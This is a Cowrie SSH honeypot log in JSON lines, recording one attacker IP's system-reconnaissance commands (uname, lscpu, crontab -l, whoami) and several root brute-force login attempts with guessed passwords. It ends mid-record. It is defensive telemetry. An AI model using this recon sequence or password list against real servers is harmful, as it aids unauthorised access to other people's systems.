{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:20.891885Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:21.396412Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:21.399389Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:21.622780Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:22.096128Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:22.099897Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:22.102356Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:22.325233Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:22.799095Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:22.801599Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:23.023557Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:23.496988Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:23.499141Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:23.721083Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:24.202654Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:24.205150Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:24.427050Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:24.912840Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:24.917541Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:25.140194Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:25.616686Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:25.620315Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:25.844449Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:26.328700Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:26.332079Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:26.554708Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:27.036676Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:27.038890Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:27.261323Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:27.742827Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:27.745860Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:27.968659Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:28.450549Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:28.453802Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:28.676765Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:29.143543Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:29.147108Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:29.370243Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.9","message":"Connection lost after 18.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:48:29.375442Z","src_ip":"104.208.108.166","session":"48a8fa0f44db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":34588,"dst_ip":"10.17.0.5","dst_port":22,"session":"7dbbc8cf55a4","protocol":"ssh","message":"New connection: 104.208.108.166:34588 (10.17.0.5:22) [session: 7dbbc8cf55a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:49:08.865936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:49:08.870857Z","src_ip":"104.208.108.166","session":"7dbbc8cf55a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:49:09.091017Z","src_ip":"104.208.108.166","session":"7dbbc8cf55a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Data@123","message":"login attempt [root/Data@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:49:10.003427Z","src_ip":"104.208.108.166","session":"7dbbc8cf55a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:49:11.226755Z","src_ip":"104.208.108.166","session":"7dbbc8cf55a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":16056,"dst_ip":"10.17.0.5","dst_port":22,"session":"8485b44528ca","protocol":"ssh","message":"New connection: 104.208.108.166:16056 (10.17.0.5:22) [session: 8485b44528ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:50:04.401530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:50:04.405694Z","src_ip":"104.208.108.166","session":"8485b44528ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:50:04.673836Z","src_ip":"104.208.108.166","session":"8485b44528ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cassia","message":"login attempt [root/cassia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:50:05.511668Z","src_ip":"104.208.108.166","session":"8485b44528ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:50:06.728570Z","src_ip":"104.208.108.166","session":"8485b44528ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.244.206.148","src_port":38688,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc0f799594c3","protocol":"ssh","message":"New connection: 152.244.206.148:38688 (10.17.0.5:22) [session: bc0f799594c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:50:08.838258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:50:08.843336Z","src_ip":"152.244.206.148","session":"bc0f799594c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:50:08.978730Z","src_ip":"152.244.206.148","session":"bc0f799594c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"arthur","message":"login attempt [root/arthur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:50:09.570966Z","src_ip":"152.244.206.148","session":"bc0f799594c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:50:10.710350Z","src_ip":"152.244.206.148","session":"bc0f799594c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.208.108.166","src_port":17492,"dst_ip":"10.17.0.5","dst_port":22,"session":"aff6565a1b19","protocol":"ssh","message":"New connection: 104.208.108.166:17492 (10.17.0.5:22) [session: aff6565a1b19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:50:58.977918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T01:50:58.982604Z","src_ip":"104.208.108.166","session":"aff6565a1b19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"la